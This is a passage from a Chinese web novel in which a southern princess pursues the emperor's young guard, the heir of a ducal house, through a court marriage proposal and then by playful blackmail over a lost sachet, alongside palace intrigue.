塔娜微微一笑,目光流转,最终…落在了那个正因为熬夜而昏昏欲睡的江凡身上!
她伸出纤纤玉指,指向江凡,声音清脆:
“陛下!实不相瞒,我南蛮此番前来,真正的目的,并非求地求财,而是…想和镇国公世子求亲!”
求亲?!!
镇国公世子江凡?
整个金銮殿,瞬间鸦雀无声!
落针可闻!
所有目光,齐刷刷地聚焦到了江凡身上!
第127章 公主的求婚
正在吃瓜的江凡闻言顿时一个激灵,整个人都不好了!
他抬起头,正好对上塔娜那‘含情脉脉’、又带着狡黠笑意的目光,心里一凸!
不是,你眼瞎...呸,你脑子有坑吗?
怎么会看上我?
塔娜不顾满殿惊愕的目光,继续朗声道:
“久闻大夏镇国公世子江凡,年少英雄,文武双全!此前在南疆,更是以弱冠之龄,临危受命,生擒叛军首领,智勇双全,名动天下!
塔娜虽远在南疆,亦对世子风采心向往之!今日一见,果然…一表人才,气度不凡!”
她这话说的,自己都快信了,眼神那叫一个真挚。
“故此,”她转向女帝,深深一礼,
“塔娜愿代表南蛮,与我大夏永结盟好!只要陛下肯下旨赐婚,将镇国公世子江凡,赐予塔娜为驸马!
我南蛮愿即刻与大夏签订盟约,永不犯边,互通有无,共保西南太平!此乃利国利民之美事,还望陛下…成全!”
她说完,还故意朝江凡抛了个媚眼。
“哗——!”
大殿之内,彻底炸开了锅!
求亲?
南蛮公主竟然看上了镇国公世子江凡?
那个曾经名满京城的头号纨绔?
虽然他现在似乎‘改邪归正’,还立了功,但…这也太突然、太离谱了吧?
为了他,南蛮愿意放弃所有苛刻条件,永结盟好?
这江凡到底有什么魔力?
江凡此刻,整个人都亚麻呆住了!
如同被一道天雷劈中,外焦里嫩!
他瞪大了眼睛,看着台上那个笑靥如花、却如同小恶魔般的南蛮公主,脑子里只有一个念头:这女人疯了?
自己跟她没有任何交集吧,怎么可能看上自己?
“不行!绝对不行!”
江凡几乎是脱口而出,也顾不得朝堂礼仪了,跳出来大声道:
“公主殿下!此事万万不可!在下何德何能,岂敢高攀公主金枝玉叶!况且…况且在下早已与周尚书千金有婚约在身!岂能悔婚再娶?!此事有悖人伦,恕难从命!”
他急得额头冒汗,把周婉如这面挡箭牌赶紧祭了出来。
果然,一旁的礼部尚书周大人脸色顿时黑如锅底,出列沉声道:
“陛下!小女与江世子确有婚约在先!南蛮公主此举,实乃强人所难,有损我大夏礼法纲常!臣以为不妥!”
然而,还没等女帝开口,几名平日里就与靖王走得近、或是抱着‘息事宁人’心态的官员,纷纷出列附和:
“陛下!臣以为,南蛮公主此议,虽略显突兀,但若能以一人之姻亲,换得西南边境长治久安,免动刀兵,实乃利国利民之上策啊!”
“是啊陛下!周小姐深明大义,想必也能以国事为重!况且,世子爷若娶了公主,亦是为国建功啊!”
“牺牲小我,成全大我!世子爷,当以社稷为重啊!”
一时间,劝嫁之声此起彼伏,仿佛江凡不答应,就是不顾国家安危、自私自利的罪人一般!
江凡气得浑身发抖,恨不得当场拔出刀来把这些站着说话不腰疼的家伙全砍了!
一群老东西,要牺牲你们怎么不把自己女儿送去牺牲呢?
合着事情没落在自己头上,就不知道痛是吧?
晚上就把你们安排进话本遗臭万年!
他死死盯着龙椅上的女帝,心中呐喊:陛下!你可不能答应啊!
龙椅之上,萧璇月此刻的心情,亦是复杂到了极点。
于公,南蛮公主提出的条件,诱惑力巨大!
兵不血刃,便能化解西南边患,甚至与南蛮结盟,这对内忧外患的大夏而言,无疑是天大的好事!
作为帝王,她确实很想答应!
用一桩婚姻,换取边境和平,这笔买卖,怎么看都划算!
于私…当她听到塔娜提出要江凡时,她的心,仿佛被什么刺了一下!
那个平日里看似玩世不恭、却会在危急关头挺身而出保护她、甚至将保命软甲赠予她的少年…
那个让她时而气恼、时而无奈、时而又觉得…有他在身边便莫名安心的身影…
难道就要这样,被一纸婚约,送到**之外的南蛮去?
她的目光,不由自主地投向殿下那个急得面红耳赤的江凡。
看着他焦急、愤怒
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的模样,她的心,更乱了。
而更让她心绪难平的是…昨夜那个如同天神下凡、强大、神秘的‘逍遥公子’的身影,与眼前这个江凡,竟隐隐重叠在了一起…
虽然理智告诉她这绝无可能,但那种微妙的感觉,却挥之不去。
一边是社稷江山,一边是…那说不清道不明的私心…
萧璇月只觉得心乱如麻,生平第一次,在朝堂之上,陷入了如此艰难的抉择之中。
她该如何决断?
她深吸一口气,强迫自己冷静下来。
目光扫过争得面红耳赤的群臣,最后落在了一脸期盼的塔娜和满脸抗拒的江凡身上,缓缓开口:
“南蛮公主之意,朕已知晓。和亲之事,关乎两国邦交,亦关乎世子终身,非同小可。
镇国公如今尚在南疆镇守,世子婚事,还需征得其父同意。此事…容后再议。至于北莽使者所言…”
她冷冷看向北莽使者,
“边境之事,朕自会派专员查证。若确有其事,必按律处置。若尔等蓄意挑衅,朕亦不惧一战!退朝!”
她没有当场答应,也没有断然拒绝,而是用了‘拖’字诀!
将皮球踢给了远在南疆的镇国公江撼岳!
塔娜眼中闪过一丝意料之中的神色,她本就没指望女帝会立刻答应,能逼得她当众提出,并将此事摆上台面,已是成功!
她微微一笑,躬身道:
“塔娜明白。那我便在京中,静候陛下佳音。”
说完,意味深长地看了江凡一眼,这才随着引路太监退下。
北莽使者见南蛮突然变卦,独木难支,又见女帝态度强硬,只得恨恨地瞪了塔娜背影一眼,悻悻告退。
一场看似一触即发的战争危机,竟以这样一种匪夷所思的方式,暂时缓和了下来。
但朝堂之上的暗流,却愈发汹涌。
退朝的钟声响起,百官心思各异地散去。
江凡感觉浑身虚脱,准备趁机跟女帝提一下辞去近身侍卫的事情,毕竟千面已经伏诛...
只是刚到御书房,萧璇月就转身问道:
“江凡,你跟南蛮公主怎么回事?”
第128章 杂书看到的
江凡心中暗叹,该来的躲不掉。
他抬起头,脸上堆起茫然和无辜,摊手道:
“陛下明鉴!臣…臣也是一头雾水啊!臣与那南蛮公主,此前素未谋面,今日朝堂之上,才是第一次见!天知道她为何会突然说出那等…那等惊世骇俗之言!”
他语气诚恳,眼神清澈。
看过南蛮公主洗澡的事情打死不能说,而且当时自己易容,肯定没人知道。
萧璇月凤眸微眯,也想不通南蛮公主为什么看上江凡。
“素未谋面?第一次见?”
她重复了一遍,语气带着玩味,
“那她为何独独看上了你?镇国公世子身份虽尊贵,但大夏王公子弟众多,宗师修为…虽罕见,却也并非唯你一人。
她为何甘愿放弃与靖王密谋的巨大利益,转而提出与你联姻?这其中的缘由,你当真…一点头绪都没有?”
江凡连忙叫屈:
“陛下!臣岂敢欺瞒!臣思来想去,或许…或许是她听闻臣在南疆侥幸立了些微末功劳,又见臣…呃,年少有为,一表人才、英俊潇洒、玉树临风?”
他自恋的口吻,试图冲淡严肃气氛,
“再者,南蛮女子,性情泼辣,行事往往出人意表,不循常理。或许她只是一时兴起,又或者…
另有所图,想通过联姻,间接影响我大夏朝局?毕竟,家父手握重兵,镇守南疆…”
他将原因往**联姻的方向引,这是最合理的解释。
萧璇月静静地听着,不置可否。
江凡的解释,表面上看合情合理。
镇国公世子的身份,加上新晋宗师的光环,确实有被南蛮看重的价值。
以婚姻为纽带,绑定边军统帅,对南蛮而言,是一步好棋。
但…她总觉得哪里不对劲。
塔娜提出和亲时的眼神,那种看似倾慕,实则深处隐藏的探究与势在必得,不像仅仅是为了**利益。
而且,放弃与靖王合作的风险和既得利益,转而下注在一个‘纨绔转变’的世子身上,这赌注,未免太大了些。
除非…塔娜知道了某些她不知道的、关于江凡的…真正价值?
这个念头一起,萧璇月的心跳莫名加快了几分。
她不由自主地再次仔细打量起江凡。
只见这货眉宇间带着特有的慵懒,站姿也算不上多么挺拔,眼神看似坦诚…
这小子,身上到底还藏着什么秘密?
修为暴涨?神秘师尊?
“朕姑且信你。”
萧璇月压下心中的疑虑,话锋一转,
“那你自己呢?对此事,是何想法?”
江凡一听,立刻把头摇得像拨浪鼓,语气坚决无比:
“陛下!臣万万不愿!臣生是大夏人,死是大夏鬼!岂能去那蛮荒之地做什么劳什子驸马?
再说,臣在京中逍遥自在惯了,去了南蛮,规矩繁多,言语不通,怕是没几天就得憋闷死!而且…”
他顿了顿,似乎觉得理由不够充分,又小声嘟囔了一句:
“…当了驸马,岂不是再也不能三妻四妾,逛…逛百花楼了?一点自由都没有,那跟坐牢有何区别?驸马狗都不当!”
他最后这句混账话,瞬间点燃了萧璇月心中那压抑许久的不爽和…醋意?
她猛地一拍御案,勃然作色:
“江凡!你放肆!朝廷大事,关乎两国邦交,在你口中竟成了能否三妻四妾、逛青楼的儿戏?你、你眼里还有没有朕这个皇帝?有没有大夏的江山社稷?”
她这一怒,凤威凛冽,整个御书房的温度仿佛都骤降了几分!
云暮在一旁吓得大气不敢出。
江凡也被这突如其来的怒火吓了一跳,暗道失言,女帝这火气来得也莫名其妙!
他连忙躬身请罪:
“陛下息怒!臣…臣失言!臣罪该万死!”
但心中那股倔强劲也上来了,既然话说开了,索性豁出去了!
他抬起头,迎着女帝愤怒的目光,声音带着一股罕见的锐气:
“但臣以为,一个真正强盛的王朝,靠的绝不是和亲与妥协!应有的风骨是——天子守国门,君王死社稷!不割地!不赔款!不和亲!不纳贡!
这才是泱泱大国应有的气节!若靠牺牲臣子婚姻换取短暂和平,与摇尾乞怜何异?
今日割五城,明日割十城,然后得一夕安寝?起视四境,而北莽、南蛮之兵又至矣!此乃饮鸩止渴,绝非长治久安之策!”
这一番话,掷地有声,慷慨激昂!
尤其是‘天子守国门,君王死社稷’一句,更是如同洪
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钟大吕,震得萧璇月娇躯一颤,满心的怒火瞬间被震惊所取代!
她难以置信地看着眼前这个少年,美眸中充满了震撼和悸动!
这话…这话真的是从江凡嘴里说出来的?
那个整天想着吃喝玩乐、逛青楼、满脑子三妻四妾的纨绔世子?
这见识!这气魄!
这铮铮铁骨!
与他平日表现出的模样,简直是天壤之别!
萧璇月死死盯着江凡,仿佛要将他从里到外看个通透!
修为隐藏!见识隐藏!
他到底还有多少东西是伪装出来的?
难道他以前那副纨绔模样,全是装出来的?
为什么?
为了自保?
一个更加大胆的念头,不受控制地再次浮现——
昨夜那个如同神兵天降、强大神秘、却莫名让她心安的逍遥公子…
那身影,那关键时刻挺身而出的决绝…
与眼前这个时而惫懒、时而却能爆发出惊世之言的身影…为何…会有一种诡异的重合感?
这个想法让她心跳漏了一拍,呼吸都为之急促!
不!
不可能!
逍遥公子是陆地神仙!
江凡再怎么隐藏,也不可能在如此短的时间内达到那般境界!
这太荒谬了!
可…如果不是同一个人,又如何解释江凡身上这越来越多的矛盾与神秘?
她强行压下心中的惊涛骇浪,目光复杂地看着江凡,语气放缓:
“天子守国门,君王死社稷…这话,你从何处听来?”
江凡心中暗叫不好,一时激动,把前世的名言搬出来了!
他连忙低下头,掩饰眼中的慌乱,支吾道:
“回陛下,是…是臣从前在…在一本杂书野史上看到的,觉得颇有气概,便记下了。刚…刚才情急之下,脱口而出,惊扰圣驾,臣…臣知罪!”
他赶紧把锅甩给‘杂书’。
杂书?
萧璇月心中冷笑,这等振聋发聩之言,岂是寻常杂书能有?
但她没有戳破,只是深深看了江凡一眼,点了点头,语气恢复了平静:
“此话…虽略显偏激,但其中气节,确是可嘉。朕,亦想做一个有风骨、有气节的大夏之君!而非靠和亲纳贡维系太平的懦弱之主!”
第129章 绝不会认输
听到女帝这话,江凡心中一块大石落地,知道这关算是过了!
他连忙顺势道:
“陛下圣明!我大夏国富民强,兵精粮足,何须向蛮夷低头?只要君臣一心,将士用命,何惧外敌来犯?”
萧璇月看着他那副忠心耿耿的模样,心中又是好气又是好笑,这变脸速度倒是快!
她沉吟片刻,道:
“既然如此,和亲之事,便作罢。稍后,朕会派人明确回复南蛮公主。”
“谢陛下!”
江凡大喜过望,连忙谢恩。
眼珠一转,又趁机提出:
“陛下,如今宫中刺客已除,千面伏诛,陛下安危无虞。臣这个御前侍卫…是否…是否可以功成身退了?
臣…臣实在不是当侍卫的料,每日点卯站岗,枯燥乏味,不如让臣回府…呃,闭门读书,精进武艺?”
他一脸诚恳地请求下岗,回去当他的逍遥世子。
萧璇月闻言,心中微微一动。
他如此急切地想离开皇宫…是因为刺客的威胁解除了,所以觉得没必要再留在朕身边保护了?
回想起他最初主动留下,正是以保护为名。
难道…他从一开始,真正的目的,就是为了防范那个‘千面’?
这份隐藏在‘荒唐’表象下的细心与守护…让萧璇月的心,不由得柔软了几分。
她看着江凡那副可怜巴巴想回家的样子,嘴角不禁勾起一抹笑意,语气也柔和了许多:
“怎么?朕这皇宫,就如此让你待不住?御前侍卫一职,多少人求之不得,你倒好,整日想着偷懒耍滑!”
江凡讪笑:
“臣…臣资质愚钝,恐难当大任,有负圣恩…”
“行了!”萧璇月打断他,
“朕看你这侍卫当得挺好。身手不凡,关键时刻…也靠得住。朕也不是真的需要你贴身保护,每日没事你都可以提前散值。”
她顿了顿,意有所指地看了他一眼,
“至于官职低微…你若嫌四品侍卫委屈了你,朕可以酌情提升…”
“别!别!陛下!”江凡吓得连连摆手,
“四品很好!非常好了!臣很满意!非常满意!陛下厚爱,臣感激涕零,定当恪尽职守,护卫陛下周全!”
开什么玩笑!
升官?
那岂不是更没法摸鱼了?
四品侍卫已经够扎眼了!
见他这副避之唯恐不及的模样,萧璇月心中觉得有些好笑。
这小子,对权势还真是一点兴趣都没有。
她挥了挥手:
“既如此,便好好当你的差!莫要再胡思乱想!退下吧,今日允许你早点回府!”
“臣…遵旨!谢陛下!”
江凡如蒙大赦,赶紧行礼,逃也似地退出了御书房。
直到走出宫门,被冷风一吹,才长长舒了口气。
伴君如伴虎,古人诚不欺我!
这班,看来是暂时辞不掉了!
唉!
……
与此同时,京城驿馆,南蛮国使节院落。
塔娜公主慵懒地斜倚在软榻上,指尖把玩着一个做工精致的香囊。
正是那晚神秘人遗落在水中的那只。
一名须发皆白、眼神睿智的南蛮老臣躬身站在下首,脸上带着不解。
“公主殿下,老臣愚钝。您为何突然改变主意,放弃了与靖王合作的大好局面,转而提出与那镇国公世子…和亲?虽说那江凡有些修为,但与大业相比,未免…”
老臣没有再说下去,但意思很明显。
只要靖王成功,就能不费一兵一卒获得几个城池的地盘,为什么改变主意?
塔娜抬起眼帘,美眸中闪过一丝狡黠的光芒,红唇微勾:
“大祭司,你觉得…本宫是那种会被男色所迷、因小失大的人吗?”
“老臣不敢!公主深谋远虑,老臣只是…不解其意。”
大祭司连忙低头。
塔娜坐起身,将香囊凑到鼻尖,轻轻一嗅,脸上露出一个意味深长的笑容:
“你不懂。与江凡联姻,其价值…远胜十座城池!”
大祭司愕然抬头:
“殿下何出此言?那江凡纵然是宗师,也不过是一世子,如何能与十座城池相比?”
塔娜却不解释,只是神秘一笑:
“有些事,现在还不能说。你只需知道,本宫此举,绝非任性。若此事能成,于我南蛮,将是千秋之功!”
她脑海中浮现出昨夜收到的密报——皇宫惊变,神秘高手‘逍遥公子’以陆地神仙修为,弹指间**极道刺客!
再结合江凡身上的异香、以及那神秘的《深宫秘恋》话
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本…
一个惊人的猜测已然成型!
若江凡真是逍遥公子…那与他联姻,等于为南蛮请回一尊守护神!
这笔买卖,岂是几座荒芜边城可比?
当然,这一切还只是她的猜测,需要进一步证实。
但无论如何,江凡此人,值得她下重注!
大祭司见公主心意已决,且神色笃定,虽仍不明所以,但出于对公主的信任,便不再多问,躬身道:
“老臣明白了。既如此,我等便在京中静观其变。”
……
京城西郊,一处隐秘的庄园密室内。
靖王赵恒脸色阴沉得能滴出水来,狠狠将手中的茶杯摔得粉碎!
“废物!都是一群废物!千面失手!塔娜那个**竟然临阵倒戈!本王多年谋划,毁于一旦!”
下方,几名北莽使者噤若寒蝉,为首的虬髯大汉硬着头皮道:
“王爷息怒!谁能料到那逍遥公子…竟是陆地神仙之境!有如此人物暗中相助女帝,我等…我等也是无能为力啊!”
“逍遥公子…陆地神仙…”
靖王咀嚼着这几个字,眼中闪过一丝深深的忌惮和恐惧。
面对一位可能随时取他性命的陆地神仙,由不得他不怕!
他深吸一口气,强行压下怒火,沉声道:
“传令下去,停止一切对逍遥公子的搜查!切勿再激怒此人!”
“是!”
“但是!”靖王话锋一转,眼中重新燃起疯狂的火焰,
“本王绝不会就此认输!女帝根基未稳,国库空虚,正是用兵之时!你们回去告诉大汗,只要他愿意出兵,牵制大夏北境兵力,事成之后,本王愿割让边境……十五州之地!外加岁币百万!如何?!”
北莽使者闻言,眼中闪过贪婪之色,互相对视一眼,虬髯大汉沉声道:
“王爷诚意,我等定当转达大汗!只是…兹事体大,需大汗定夺!我等即刻返回王庭,禀明此事!”
“好!本王等你们的消息!”
靖王挥挥手,示意他们退下。
待密室中只剩他一人时,他脸上才露出狰狞之色,
“萧璇月!还有那个该死的逍遥公子!本王就不信,你们能永远得意下去!只要北莽铁骑南下,大夏内忧外患,看你们还能支撑几时!”
第130章 总算承认了
夜色渐深,京城各方势力,暗流涌动,新的风暴,正在悄然酝酿。
而江凡拖着疲惫不堪的身心,江凡终于回到了镇国公府听雨轩。
他只想立刻扑到大床上,蒙头大睡,最好一觉醒来发现这一切都是一场荒诞的梦。
然而,天不遂人愿。
他刚脱下官袍,换上舒适的常服,还没来得及喘口气,贴身小厮就急匆匆地跑来禀报,声音带着几分紧张和古怪:
“世…世子爷!府门外…南蛮国的塔娜公主殿下…求见!”
江凡:“!!!”
他差点一口老血喷出来!
这女人还有完没完了?
朝堂上闹得还不够,竟然直接追到家里来了?
她到底想干什么?
江凡只觉得一股邪火直冲脑门,恨不得立刻下令闭门谢客!
但理智告诉他,不能这么做。
对方毕竟是一国公主,代表南蛮使团。
如今两国关系微妙,自己若将其拒之门外,传出去必然引起外交风波,给女帝和朝廷添乱。
他深吸了好几口气,才强行压下心中的烦躁和不安,黑着脸道:
“请!请到前厅奉茶!我稍后便到!”
他磨蹭了好一会儿,才整理好表情,换上一副标准的纨绔子弟模样,晃晃悠悠地来到了前厅。
厅内,塔娜公主已然端坐主位。
她换下朝服,穿了一身南蛮风格的锦绣长裙,色彩艳丽,银饰璀璨,衬得她肌肤如蜜,眉目如画,野性中透着一股别样的雍容华贵。
她正慢条斯理地品着茶,姿态优雅,仿佛这里不是镇国公府,而是她南蛮的王庭。
见到江凡进来,她放下茶盏,嫣然一笑,美眸流转,带着一丝戏谑:
“江世子,让本宫好等啊。莫非…是急着去那‘百花楼’勾栏听曲儿,嫌本宫耽误了你的雅兴?”
她语气带着明显的调侃:“本宫闲着也无事,可以陪你去哟。”
江凡嘴角抽搐了一下,心中暗骂这女人有病!
他大剌剌地在对面坐下,翘起二郎腿,懒洋洋道:
“公主殿下说笑了!百花楼那种地方,岂是公主金枝玉叶该去的?再说,传出去对公主清誉有损,在下可担待不起!不知公主大驾光临,有何指教?若无事,在下这就要出门会友了。”
他直接下了逐客令。
塔娜却不恼,反而笑吟吟地道:
“世子何必拒人于千里之外?百花楼去不得,别处总去得。若世子有雅兴,本宫倒不介意陪世子在这京城逛逛,领略一下大夏风华。”
江凡一噎,差点被自己的口水呛到!
陪他逛京城?
开什么玩笑!
一个南蛮公主陪大夏世子逛街?
明天京城头条就得是他江凡‘勾结外邦公主,图谋不轨’了!
他收起那副玩世不恭的样子,脸色一正,目光锐利地看向塔娜:
“公主殿下,明人不说暗话!您今日在朝堂之上,已让在下成为众矢之的。如今亲临寒舍,若还是为了那荒谬的和亲之事,就请免开尊口!
在下绝无此意!若殿下另有要事,但讲无妨!若只是闲话家常,请恕在下公务繁忙,不便久陪!”
他语气强硬,直接切入了主题。
塔娜见他如此直接,脸上的笑容也渐渐收敛,美眸中闪过一丝欣赏。
这家伙,果然不是传言中的纨绔。
她轻轻放下茶盏,从宽大的袖口中,取出一物,放在两人之间的茶几上。
那是一个做工精致的香囊,天青色缎面,绣着几枝傲雪寒梅,散发着一种独特的幽香。
江凡的目光一落到那香囊上,瞳孔骤然收缩!
心脏猛地一跳!
这香囊…他再熟悉不过!
正是之前花魁柳絮送给他的那个!
后来在南疆,似乎…不慎遗失了!
怎么会…在她手里?
塔娜将江凡那一瞬间的震惊和慌乱尽收眼底,心中最后一丝疑虑彻底烟消云散!
她红唇微勾,语气带着一丝莫名意味:
“江世子…可认得此物?”
江凡心中警铃大作,背后瞬间冒出一层冷汗!
完了!
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这女人竟然是因为这个香囊盯上自己的!
他强行压下翻腾的心绪,脸上努力维持着镇定,甚至挤出一丝诧异:
“这香囊…看着倒是有几分眼熟。似乎…是在下之前随身佩戴之物,后来不慎遗失了。怎么…会在公主殿下手中?”
他试图蒙混过关。
“遗失?”塔娜轻笑一声,美眸紧紧盯着江凡,
“世子真的只是…遗失了吗?难道不是在…南疆,澜沧江畔,某个…特别的夜晚?”
轰!
如同惊雷炸响!
江凡大脑一片空白!
她真的认出来了!
自己易容成‘萧遥’的事,暴露了!
他心中掀起惊涛骇浪,但嘴上却咬死不认:
“公主殿下此言何意?在下听不懂!我在南疆,一直随军行动,何时独自去过什么澜沧江畔?公主怕是认错人了吧?这香囊,定是被人捡到,故意栽赃陷害!”
打死也不能承认!
承认了看人家洗澡的事小,被人知道自己就是逍遥公子事情就麻烦了。
塔娜见他还在嘴硬,眼中闪过一丝‘失望’,随即,那双明媚的大眼睛竟迅速蒙上了一层水雾,声音也变得哽咽起来:
“世子…何必如此绝情?那晚…那晚在月下江边,你…你化名萧遥,不仅看了本宫的身子,还把本宫全身摸了个遍...如今…竟想矢口否认吗?”
江凡闻言,差点一口老血喷出。
他当时虽然不小心撞见她在沐浴,但立刻就别开了眼,根本没仔细看啊!
而且很快就溜之大吉了!
神特么的‘全身摸个遍’!
这女人…怎么还带碰瓷的?
“公主!饭可以乱吃,话可不能乱说!”
江凡又急又气,脸都涨红了,
“在下那晚…那晚只是偶然路过!绝无冒犯之意!更…更不曾看清什么,在下虽然算不上君子,但也并非无耻小人,什么时候摸过公主身子?公主休要污人清白!”
“偶然路过?不曾看清?”
塔娜心中一喜,这货总算承认了。
第131章 你要坑死我
只是塔娜的眼泪还是簌簌落下,哭得梨花带雨,我见犹怜,
“那你为何要化名萧遥?为何见了本宫便想回避?若非心虚,何必如此?如今证据确凿,你竟还想抵赖?
罢了…罢了…本宫清白已毁,无颜再见南蛮父老!既然世子不肯承认,本宫…本宫活着还有何意义…”
说着,她竟站起身,作势就要往旁边的柱子上撞去!
“别!公主!使不得!”
江凡吓了一跳!
这要是在他府里撞**,那真是黄泥巴掉裤裆,不是屎也是屎了!
南蛮非得跟大夏不死不休不可!
他一个箭步冲上前,死死拉住塔娜的胳膊:
“公主,冷静!千万冷静!有话好说!好说!”
塔娜挣扎着,哭道:
“还有什么好说的?你既不认账,又不负责,本宫唯有以死明志!”
“我认!我认还不行吗?”
江凡被她逼得没办法,几乎是吼了出来,
“那晚的人是我,但我对灯发誓,我真的什么都没看见!不,是没看清!而且我可没有碰你,可别污蔑我。”
他只能承认一部分事实,但坚决否认‘摸了她全身’这口黑锅。
不然宣扬出去,他最近刚刚洗白的形象又要黑成炭了。
听到江凡亲口承认,塔娜挣扎的动作瞬间停止,抬起泪眼朦胧的脸,抽噎着问:
“真…真的是你?那你…你就是逍遥公子,对不对?”
她终于问出了最核心的问题!
江凡心中凛然,暗道这女人果然精明!
只是这事他可不能认,于是连忙摇头否认:
“公主误会了!那晚我只是偶然路过!什么财宝粮食?什么逍遥公子?在下一概不知!我那点微末修为,怎么可能有那般通天手段?
那晚我为了追杀叛军首领,意外跌落水中...嗯,后来遇到你,就胡乱起了个假名号骗你,为了不被你追究,所以的话都是骗你的...”
逍遥公子的马甲,打死也不能认!
塔娜盯着他看了半晌,见他不愿承认,也没有继续追问。
她擦了擦眼泪,语气缓和了些:
“好,既然世子承认那晚是你,看了本宫的身子,这笔账,总该算一算吧?我南蛮女子,最重贞洁。
身子被男子看了,唯有两条路:要么,杀了那男子;要么,嫁予那男子为妻。世子…你选哪一条?”
江凡听得头皮发麻,苦着脸道:
“公主!这…这未免太强人所难了吧?那纯粹是意外,意外啊!咱们当时不是说好,就此别过,两不相欠吗?”
“两不相欠?”塔娜柳眉倒竖,
“那是你一厢情愿!本宫是女子,是公主!清白岂容儿戏?今日你若不给本宫一个交代,本宫立刻便出府。
将你江世子深夜偷窥南蛮公主沐浴之事,公告天下!看你镇国公府,如何向天下人交代!看你大夏朝廷,如何面对我南蛮国的怒火!”
江凡脸上的纨绔神态已经消失,眼神也变得冰冷:
“你是在威胁本世子?”
塔娜扬起下巴,毫不退让:
“是又如何?本宫说到做到!”
江凡看着她那副视死如归、又带着狡黠的模样,杀机一闪而逝!
这女人软硬不吃,油盐不进,简直是个滚刀肉!
他当然不能在国公府杀了南蛮公主,只是心中却在犹豫要不要半夜弄死她!
他咬了咬牙,压低声音,带着一丝杀意:
“塔娜公主!我劝你想清楚!若我真有那等神鬼莫测的手段,你如此逼迫于我,就不怕…我**灭口吗?若我没有那等手段,你逼我娶你,又有何意义?”
他试图用最直接的方式吓退她。
然而,塔娜非但没有害怕,反而迎上他冰冷的眼神,嘴角勾起一抹笑容:
“**灭口?好啊!那你现在就动手吧!能死在…看过我身子的男子手中,总好过受辱偷生!至于意义…”
她深深看了江凡一眼,语气带着一种异样的执着,
“我相信自己的判断和感觉。江凡,你绝非池中之物!即便你不是逍遥公子,也值得我塔娜倾心!这个驸马,你当也得当,不当…也得当!”
再次听到‘看了她身子’这件事,江凡彻底没脾气了!
这件事自己多少有些理亏,因为这个**灭口,倒是显得自己太禽兽。
打又打不得,骂又骂不走,骗又骗不过!
他揉着发胀的太阳穴,深吸一口气问道:
“公主…你到底想怎么样?直说吧!除了成亲,其他条件…或许我们可以商量…但你若是以为这种事情能威胁我,那
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是做梦。”
最严重也不过就是马甲曝光,现在能兑换陆地神仙体验卡,他已经没什么怕的。
塔娜知道火候差不多了,见好就收。
她收起那副悲愤欲绝的表情,重新坐下,恢复了公主的从容:
“好!既然世子把话说到这个份上,本宫也不逼你立刻成亲。但你看光本宫身子是事实,必须负责!这样,本宫退一步!
我不要你立刻娶我,但你要给我一个交往的机会!在我留在京城期间,你不能刻意躲着我,要允许我以朋友的身份与你正常交往!
若日久生情,你心甘情愿娶我,自然最好。若最终你仍不愿,本宫…本宫便认命,返回南蛮,此生不再踏入大夏半步!如何?”
江凡闻言,愣了一下。
不要立刻成亲?
只是给个‘交往’的机会?
反正自己咬死不松口,她还能硬来不成?
等她在京城待腻了,或者南蛮那边有事召她回去,这事自然就不了了之了!
想到这里,他连忙点头:
“好,一言为定!就按公主说的办,给你追求的机会!但成不成,在我!公主不得强迫!”
“成交!”塔娜眼中闪过一丝笑意,伸出小拇指,
“击掌为誓!”
江凡无奈,只得伸出手,跟她击了三下掌。
击掌完毕,塔娜像是忽然想起什么,从袖中又取出一封密信,递给江凡,笑靥如花:
“哦,对了,这是女帝陛下刚刚派人送到驿馆的回信,正式拒绝了我南蛮的和亲之请。
既然我们已经达成新的‘协议’,就劳烦世子,明日入宫时,代本宫向女帝陛下转达一下我们的‘新情况’?
就说…本宫对世子一见倾心,愿以公主之尊,暂留京城,与世子…嗯,‘培养感情’。希望陛下能够成全。”
她眨眨眼,语气带着一丝狡黠。
江凡看着那封密信,眼前一黑,差点晕过去!
让他去跟女帝说?
他刚刚还在御书房慷慨陈词‘不和亲’、‘有气节’,转头就去说这个?
女帝会怎么想?
会不会觉得他口是心非?
会不会直接把他绑了送去和亲?
他仿佛已经看到了女帝那带着杀气的目光…
“公主…你、你这是要坑死我啊!”
第132章 抓住了把柄
江凡黑着脸,感觉自己掉进了一个大坑。
而挖坑的人,正笑眯眯地站在坑边往下填土。
塔娜站起身,理了理裙摆,心情大好地拍了拍江凡的肩膀,凑近他耳边,吐气如兰,低声道:
“江世子,好好想想怎么跟你的女帝陛下解释吧!本宫…在驿馆,静候佳音哦!
另外劝你一句,不要妄想**灭口,毕竟我可不希望太多人知道你的秘密!.”
说完,发出一串银铃般的轻笑,袅袅婷婷地转身离去。
哪里还有刚才梨花带雨的样子?
送走了那位心满意足的南蛮公主,江凡独自站在空旷的前厅,手里捏着那封密信,一脸蛋疼。
早知道一个香囊能暴露自己,当初遇到这公主就不说这么多了。
现在已经被她猜到身份,凭借自己在皇宫展示的陆地神仙修为,塔娜确实不敢乱来。
何况双方都清楚,逍遥公子的身份,并不具备威胁条件。
现在有陆地神仙体验卡,就算曝光了,谁敢找自己麻烦?
塔娜真正的目的,还是想让自己真心和她在一起,成为南疆守护神而已。
一个正常交往的机会倒是没什么,只是自己要怎么跟女帝说?
正当他抓耳挠腮、不知如何是好之际,一阵脚步声传来。
只见姐姐江芷兰和周婉如联袂而来,两人脸上都带着关切和疑惑。
“凡儿,方才下人说南蛮公主来了?她…找你做什么?”
江芷兰快步上前,担忧地打量着弟弟那副欲哭无泪的模样。
周婉如虽未说话,但那双盈盈秋水般的眸子里,也充满了紧张和不安。
南蛮公主在朝堂上公开‘求亲’的消息,周大人回去第一时间就说了,她岂能不知?
此刻公主又亲临府上,由不得她不担心。
江凡看着姐姐和周婉如,长长地叹了口气,一脸的生无可恋:
“一言难尽…简直是把我架在火上烤啊!”
他有气无力地瘫坐在太师椅上,揉着太阳穴,
“她说…要留在京城…‘追求’我。”
“追求你?”
江芷兰和周婉如同时一愣,面面相觑。
这说法,可真是新鲜!
一位公主,放下身段,要‘追求’一个异国世子?
江芷兰哭笑不得,轻轻戳了一下弟弟的额头:
“你呀!这是哪门子的烦恼?别人求都求不来的桃花运,到你这就成了苦差事?瞧你这副样子,不知道的还以为你受了多大委屈呢!”
她语气中带着几分调侃,显然觉得弟弟有些‘身在福中不知福’。
江凡猛地坐直身体,激动地辩解:
“姐!我的亲姐!你这是站着说话不腰疼!那是桃花运吗?那是桃花劫!她是一国公主,我能拒绝吗?
我的‘把柄’被她抓在手里,我…我不得不答应跟她‘正常交往’!”
他一脸悲愤,仿佛受了天大的委屈。
“把柄?”
